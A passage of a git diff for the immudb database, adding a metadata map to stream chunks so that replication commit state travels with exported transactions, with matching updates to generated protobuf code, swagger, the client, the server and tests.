100, // 148: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 101, // 149: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 12, // 150: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 13, // 151: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 14, // 152: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 135, // 153: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 135, // 154: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 117, // 155: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 135, // 156: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 135, // 157: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 108, // 158: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 159: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 10, // 160: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 135, // 161: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 41, // 162: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 45, // 163: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 42, // 164: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 46, // 165: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 44, // 166: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 43, // 167: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 21, // 168: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 25, // 169: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 26, // 170: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 135, // 171: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 59, // 172: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 62, // 173: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 63, // 174: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 57, // 175: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 47, // 176: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 135, // 177: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 135, // 178: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 135, // 179: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 52, // 180: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 53, // 181: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 54, // 182: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 58, // 183: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 56, // 184: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 67, // 185: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 68, // 186: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 69, // 187: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 86, // 188: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 88, // 189: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 90, // 190: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 135, // 191: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 103, // 192: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 67, // 193: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 68, // 194: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 71, // 195: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 135, // 196: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 73, // 197: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 92, // 198: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 135, // 199: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 42, // 200: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 106, // 201: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 46, // 202: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 106, // 203: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 25, // 204: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 56, // 205: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 57, // 206: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 106, // 207: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 65, // 208: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 106, // 209: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 65, // 210: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 108, // 211: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 109, // 212: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 135, // 213: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 94, // 214: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 96, // 215: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 122, // 216: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 6, // 217: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 135, // 218: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 135, // 219: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 135, // 220: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 135, // 221: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 135, // 222: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 135, // 223: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 224: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 135, // 225: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 135, // 226: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 118, // 227: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 112, // 228: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 135, // 229: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 135, // 230: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 113, // 231: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 232: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 135, // 233: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 234: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 235: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 236: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 237: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 238: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 239: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 240: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 241: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 242: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 243: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 244: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 245: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 246: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 247: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 248: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 249: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 250: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 251: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 252: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 253: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 254: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 255: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 256: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 135, // 257: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 135, // 258: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 259: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 87, // 260: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 89, // 261: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 91, // 262: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 102, // 263: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 104, // 264: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 99, // 265: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 135, // 266: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 267: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 268: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 269: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 93, // 270: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 135, // 271: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 106, // 272: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 273: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 106, // 274: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 275: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 106, // 276: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 106, // 277: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 106, // 278: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 279: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 106, // 280: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 281: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 106, // 282: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 111, // 283: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 113, // 284: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 113, // 285: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 113, // 286: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 98, // 287: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 123, // 288: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 217, // [217:289] is the sub-list for method output_type + 145, // [145:217] is the sub-list for method input_type + 145, // [145:145] is the sub-list for extension type_name + 145, // [145:145] is the sub-list for extension extendee + 0, // [0:145] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -12204,7 +12222,7 @@ func file_schema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, NumEnums: 3, - NumMessages: 130, + NumMessages: 131, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 4e1517feca..00b8f8b2e2 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1326,6 +1326,7 @@ message DatabaseWithSettings { message Chunk { bytes content = 1; + map metadata = 2; } message UseSnapshotRequest { diff --git a/pkg/api/schema/schema.swagger.json b/pkg/api/schema/schema.swagger.json index d321399ebe..40b229134b 100644 --- a/pkg/api/schema/schema.swagger.json +++ b/pkg/api/schema/schema.swagger.json @@ -1888,6 +1888,13 @@ "content": { "type": "string", "format": "byte" + }, + "metadata": { + "type": "object", + "additionalProperties": { + "type": "string", + "format": "byte" + } } } }, diff --git a/pkg/client/streams.go b/pkg/client/streams.go index 3542cf94ce..80ff0aca7c 100644 --- a/pkg/client/streams.go +++ b/pkg/client/streams.go @@ -116,9 +116,6 @@ func (c *immuClient) _streamGet(ctx context.Context, k *schema.KeyRequest) (*sch value, err := stream.ReadValue(vr, c.Options.StreamChunkSize) if err != nil { - if err == io.EOF { - return nil, errors.New(stream.ErrMissingExpectedData) - } return nil, err } @@ -188,7 +185,7 @@ func (c *immuClient) _streamVerifiedSet(ctx context.Context, kvs []*stream.KeyVa ss := c.StreamServiceFactory.NewMsgSender(s) kvss := c.StreamServiceFactory.NewKvStreamSender(ss) - err = ss.Send(bytes.NewBuffer(stateTxID), len(stateTxID)) + err = ss.Send(bytes.NewBuffer(stateTxID), len(stateTxID), nil) if err != nil { return nil, err } @@ -423,9 +420,6 @@ func (c *immuClient) _streamScan(ctx context.Context, req *schema.ScanRequest) ( } value, err := stream.ReadValue(vr, c.Options.StreamChunkSize) if err != nil { - if err == io.EOF { - return nil, errors.New(stream.ErrMissingExpectedData) - } return nil, err } @@ -480,9 +474,6 @@ func (c *immuClient) _streamHistory(ctx context.Context, req *schema.HistoryRequ } value, err := stream.ReadValue(vr, c.Options.StreamChunkSize) if err != nil { - if err == io.EOF { - return nil, errors.New(stream.ErrMissingExpectedData) - } return nil, err } diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index b032bbe761..3cc8633faf 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -19,9 +19,8 @@ package integration import ( "context" "encoding/binary" - "errors" - "io" "net" + "strings" "sync" "testing" "time" @@ -223,11 +222,11 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init primary client primaryPort := primaryServer.Listener.Addr().(*net.TCPAddr).Port - primaryOpts := ic.DefaultOptions(). + primaryClientOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(primaryPort) - primaryClient := ic.NewClient().WithOptions(primaryOpts) + primaryClient := ic.NewClient().WithOptions(primaryClientOpts) require.NoError(t, err) err = primaryClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") @@ -272,11 +271,11 @@ func TestSystemDBAndDefaultDBReplication(t *testing.T) { // init replica client replicaPort := replicaServer.Listener.Addr().(*net.TCPAddr).Port - replicaOpts := ic.DefaultOptions(). + replicaClientOpts := ic.DefaultOptions(). WithDir(t.TempDir()). WithPort(replicaPort) - replicaClient := ic.NewClient().WithOptions(replicaOpts) + replicaClient := ic.NewClient().WithOptions(replicaClientOpts) require.NoError(t, err) err = replicaClient.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") @@ -453,7 +452,7 @@ func BenchmarkExportTx(b *testing.B) { } receiver := streamServiceFactory.NewMsgReceiver(exportTxStream) - _, err = receiver.ReadFully() + _, _, err = receiver.ReadFully() if err != nil { panic(err) } @@ -614,12 +613,13 @@ func BenchmarkStreamExportTx(b *testing.B) { go func() { for { - _, err := exportTxStreamReceiver.ReadFully() - if errors.Is(err, io.EOF) { - doneCh <- struct{}{} - return - } + _, _, err := exportTxStreamReceiver.ReadFully() if err != nil { + if strings.Contains(err.Error(), "EOF") { + doneCh <- struct{}{} + return + } + panic(err) } diff --git a/pkg/integration/stream/stream_test.go b/pkg/integration/stream/stream_test.go index 8c120af3a1..dcb09cde35 100644 --- a/pkg/integration/stream/stream_test.go +++ b/pkg/integration/stream/stream_test.go @@ -364,8 +364,7 @@ func TestImmuClient_SetEmptyReader(t *testing.T) { kvs := []*stream.KeyValue{kv1, kv2} hdr, err := client.StreamSet(context.Background(), kvs) - require.Equal(t, stream.ErrReaderIsEmpty, err.Error()) - require.Equal(t, errors.CodInvalidParameterValue, err.(errors.ImmuError).Code()) + require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) } @@ -385,7 +384,7 @@ func TestImmuClient_SetSizeTooLarge(t *testing.T) { kvs := []*stream.KeyValue{kv1} hdr, err := client.StreamSet(context.Background(), kvs) - require.Equal(t, stream.ErrNotEnoughDataOnStream, err.Error()) + require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) } @@ -400,7 +399,7 @@ func TestImmuClient_SetSizeTooLargeOnABigMessage(t *testing.T) { kvs1[0].Value.Size = 22_000_000 hdr, err := client.StreamSet(context.Background(), kvs1) - require.Equal(t, stream.ErrNotEnoughDataOnStream, err.Error()) + require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) f1, _ := streamtest.GenerateDummyFile("myFile1", 10_000_000) @@ -414,7 +413,7 @@ func TestImmuClient_SetSizeTooLargeOnABigMessage(t *testing.T) { kvs2[1].Value.Size = 12_000_000 hdr, err = client.StreamSet(context.Background(), kvs2) - require.Equal(t, stream.ErrNotEnoughDataOnStream, err.Error()) + require.ErrorIs(t, err, io.EOF) require.Nil(t, hdr) } @@ -605,7 +604,7 @@ func TestImmuClient_StreamerServiceErrors(t *testing.T) { sfm.NewMsgSenderF = func(str stream.ImmuServiceSender_Stream) stream.MsgSender { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } return streamtest.DefaultMsgSenderMock(sm, 4096) diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 08fc6ecc39..8eb32ad94f 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -357,7 +357,7 @@ func (txr *TxReplicator) fetchNextTx() error { txr.exportTxStream.Send(req) - etx, err := txr.exportTxStreamReceiver.ReadFully() + etx, emd, err := txr.exportTxStreamReceiver.ReadFully() if err != nil && !errors.Is(err, io.EOF) { if strings.Contains(err.Error(), "commit state diverged from") { @@ -390,25 +390,32 @@ func (txr *TxReplicator) fetchNextTx() error { } if syncReplicationEnabled { - md := txr.exportTxStream.Trailer() + bMayCommitUpToTxID, ok := emd["may-commit-up-to-txid-bin"] + if !ok { + return ErrNoSynchronousReplicationOnPrimary + } + + bmayCommitUpToAlh, ok := emd["may-commit-up-to-alh-bin"] + if !ok { + return ErrNoSynchronousReplicationOnPrimary + } - if len(md.Get("may-commit-up-to-txid-bin")) == 0 || - len(md.Get("may-commit-up-to-alh-bin")) == 0 || - len(md.Get("committed-txid-bin")) == 0 { + bCommittedTxID, ok := emd["committed-txid-bin"] + if !ok { return ErrNoSynchronousReplicationOnPrimary } - if len(md.Get("may-commit-up-to-txid-bin")[0]) != 8 || - len(md.Get("may-commit-up-to-alh-bin")[0]) != sha256.Size || - len(md.Get("committed-txid-bin")[0]) != 8 { + if len(bMayCommitUpToTxID) != 8 || + len(bmayCommitUpToAlh) != sha256.Size || + len(bCommittedTxID) != 8 { return ErrInvalidReplicationMetadata } - mayCommitUpToTxID := binary.BigEndian.Uint64([]byte(md.Get("may-commit-up-to-txid-bin")[0])) - committedTxID := binary.BigEndian.Uint64([]byte(md.Get("committed-txid-bin")[0])) + mayCommitUpToTxID := binary.BigEndian.Uint64(bMayCommitUpToTxID) + committedTxID := binary.BigEndian.Uint64(bCommittedTxID) var mayCommitUpToAlh [sha256.Size]byte - copy(mayCommitUpToAlh[:], []byte(md.Get("may-commit-up-to-alh-bin")[0])) + copy(mayCommitUpToAlh[:], bmayCommitUpToAlh) txr.metrics.primaryCommittedTxID.Set(float64(committedTxID)) txr.metrics.allowCommitUpToTxID.Set(float64(mayCommitUpToTxID)) diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index 3a16d74002..8c11c9f205 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -19,7 +19,6 @@ package server import ( "bytes" "encoding/binary" - "io" "strconv" "github.com/codenotary/immudb/pkg/api/schema" @@ -37,39 +36,40 @@ func (s *ImmuServer) ExportTx(req *schema.ExportTxRequest, txsServer schema.Immu } txbs, mayCommitUpToTxID, mayCommitUpToAlh, err := db.ExportTxByID(txsServer.Context(), req) + if err != nil { + return err + } - defer func() { - if req.ReplicaState != nil { - var bMayCommitUpToTxID [8]byte - binary.BigEndian.PutUint64(bMayCommitUpToTxID[:], mayCommitUpToTxID) - - var bCommittedTxID [8]byte - state, err := db.CurrentState() - if err == nil { - binary.BigEndian.PutUint64(bCommittedTxID[:], state.TxId) - } + var streamMetadata map[string][]byte - md := metadata.Pairs( - "may-commit-up-to-txid-bin", string(bMayCommitUpToTxID[:]), - "may-commit-up-to-alh-bin", string(mayCommitUpToAlh[:]), - "committed-txid-bin", string(bCommittedTxID[:]), - ) + if req.ReplicaState != nil { + var bMayCommitUpToTxID [8]byte + binary.BigEndian.PutUint64(bMayCommitUpToTxID[:], mayCommitUpToTxID) - txsServer.SetTrailer(md) + var bCommittedTxID [8]byte + state, err := db.CurrentState() + if err == nil { + binary.BigEndian.PutUint64(bCommittedTxID[:], state.TxId) } - }() - if err != nil { - return err - } + streamMetadata = map[string][]byte{ + "may-commit-up-to-txid-bin": bMayCommitUpToTxID[:], + "may-commit-up-to-alh-bin": mayCommitUpToAlh[:], + "committed-txid-bin": bCommittedTxID[:], + } - if len(txbs) == 0 { - return nil + // trailer metadata is kept for backward compatibility + md := metadata.Pairs( + "may-commit-up-to-txid-bin", string(bMayCommitUpToTxID[:]), + "may-commit-up-to-alh-bin", string(mayCommitUpToAlh[:]), + "committed-txid-bin", string(bCommittedTxID[:]), + ) + txsServer.SetTrailer(md) } sender := s.StreamServiceFactory.NewMsgSender(txsServer) - err = sender.Send(bytes.NewReader(txbs), len(txbs)) + err = sender.Send(bytes.NewReader(txbs), len(txbs), streamMetadata) if err != nil { return err } @@ -115,7 +115,7 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT receiver := s.StreamServiceFactory.NewMsgReceiver(replicateTxServer) - bs, err := receiver.ReadFully() + bs, _, err := receiver.ReadFully() if err != nil { return err } @@ -131,9 +131,6 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { for { req, err := stream.Recv() - if err == io.EOF { - return nil - } if err != nil { return err } diff --git a/pkg/stream/errors.go b/pkg/stream/errors.go index a5716da14a..fa2e92a77e 100644 --- a/pkg/stream/errors.go +++ b/pkg/stream/errors.go @@ -24,21 +24,13 @@ import ( var ErrMaxValueLenExceeded = "internal store max value length exceeded" var ErrMaxTxValuesLenExceeded = "max transaction values length exceeded" -var ErrNotEnoughDataOnStream = "not enough data to build the expected message. check value length declaration" -var ErrMessageLengthIsZero = "message trailer length is declared equal to zero" -var ErrReaderIsEmpty = "reader contains no data" var ErrChunkTooSmall = fmt.Sprintf("minimum chunk size is %d", MinChunkSize) -var ErrMissingExpectedData = "expected data on stream is missing" var ErrRefOptNotImplemented = "reference operation is not implemented" var ErrUnableToReassembleExecAllMessage = "unable to reassemble ZAdd message on a streamExecAll" func init() { errors.CodeMap[ErrMaxValueLenExceeded] = errors.CodDataException errors.CodeMap[ErrMaxTxValuesLenExceeded] = errors.CodDataException - errors.CodeMap[ErrNotEnoughDataOnStream] = errors.CodInvalidParameterValue - errors.CodeMap[ErrMessageLengthIsZero] = errors.CodInvalidParameterValue - errors.CodeMap[ErrReaderIsEmpty] = errors.CodInvalidParameterValue - errors.CodeMap[ErrMissingExpectedData] = errors.CodInternalError errors.CodeMap[ErrRefOptNotImplemented] = errors.CodUndefinedFunction errors.CodeMap[ErrUnableToReassembleExecAllMessage] = errors.CodInternalError } diff --git a/pkg/stream/execall_sender.go b/pkg/stream/execall_sender.go index 7d4768a9c1..25910fca19 100644 --- a/pkg/stream/execall_sender.go +++ b/pkg/stream/execall_sender.go @@ -41,13 +41,13 @@ func (st *execAllStreamSender) Send(req *ExecAllRequest) error { for _, op := range req.Operations { switch x := op.Operation.(type) { case *Op_KeyValue: - st.s.Send(bytes.NewBuffer([]byte{TOp_Kv}), 1) + st.s.Send(bytes.NewBuffer([]byte{TOp_Kv}), 1, nil) err := st.kvStreamSender.Send(x.KeyValue) if err != nil { return err } case *Op_ZAdd: - err := st.s.Send(bytes.NewBuffer([]byte{TOp_ZAdd}), 1) + err := st.s.Send(bytes.NewBuffer([]byte{TOp_ZAdd}), 1, nil) if err != nil { return err } @@ -55,7 +55,7 @@ func (st *execAllStreamSender) Send(req *ExecAllRequest) error { if err != nil { return err } - err = st.s.Send(bytes.NewBuffer(zAddRequest), len(zAddRequest)) + err = st.s.Send(bytes.NewBuffer(zAddRequest), len(zAddRequest), nil) if err != nil { return err } diff --git a/pkg/stream/execall_sender_test.go b/pkg/stream/execall_sender_test.go index 55aab3721a..12c1883ff1 100644 --- a/pkg/stream/execall_sender_test.go +++ b/pkg/stream/execall_sender_test.go @@ -75,7 +75,7 @@ func TestExecAllStreamSender_Send(t *testing.T) { func TestExecAllStreamSender_SendZAddError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } eas := NewExecAllStreamSender(s) @@ -122,7 +122,7 @@ func TestExecAllStreamSender_SendZAddError3(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) sec := false - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { if sec { return errors.New("custom one") } @@ -154,7 +154,7 @@ func TestExecAllStreamSender_SendZAddError3(t *testing.T) { func TestExecAllStreamSender_SendKVError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } eas := NewExecAllStreamSender(s) @@ -184,7 +184,7 @@ func TestExecAllStreamSender_SendKVError(t *testing.T) { func TestExecAllStreamSender_SendRefError(t *testing.T) { sm := streamtest.DefaultImmuServiceSenderStreamMock() s := streamtest.DefaultMsgSenderMock(sm, 4096) - s.SendF = func(reader io.Reader, payloadSize int) (err error) { + s.SendF = func(reader io.Reader, payloadSize int, metadata map[string][]byte) (err error) { return errors.New("custom one") } eas := NewExecAllStreamSender(s) diff --git a/pkg/stream/kvsender.go b/pkg/stream/kvsender.go index 41eba26ff2..40d2c847a1 100644 --- a/pkg/stream/kvsender.go +++ b/pkg/stream/kvsender.go @@ -16,7 +16,10 @@ limitations under the License. package stream -import "io" +import ( + "errors" + "io" +) type kvStreamSender struct { s MsgSender @@ -32,21 +35,23 @@ func NewKvStreamSender(s MsgSender) *kvStreamSender { // Send send a KeyValue on strem func (st *kvStreamSender) Send(kv *KeyValue) error { vss := []*ValueSize{kv.Key, kv.Value} + for _, vs := range vss { err := st.send(vs) if err != nil { return err } } + return nil } func (st *kvStreamSender) send(vs *ValueSize) error { - err := st.s.Send(vs.Content, vs.Size) + err := st.s.Send(vs.Content, vs.Size, nil) + if errors.Is(err, io.EOF) { + return st.s.RecvMsg(nil) + } if err != nil { - if err == io.EOF { - return st.s.RecvMsg(nil) - } return err } return nil diff --git a/pkg/stream/kvsender_test.go b/pkg/stream/kvsender_test.go index d0b599b35a..ce09954fe0 100644 --- a/pkg/stream/kvsender_test.go +++ 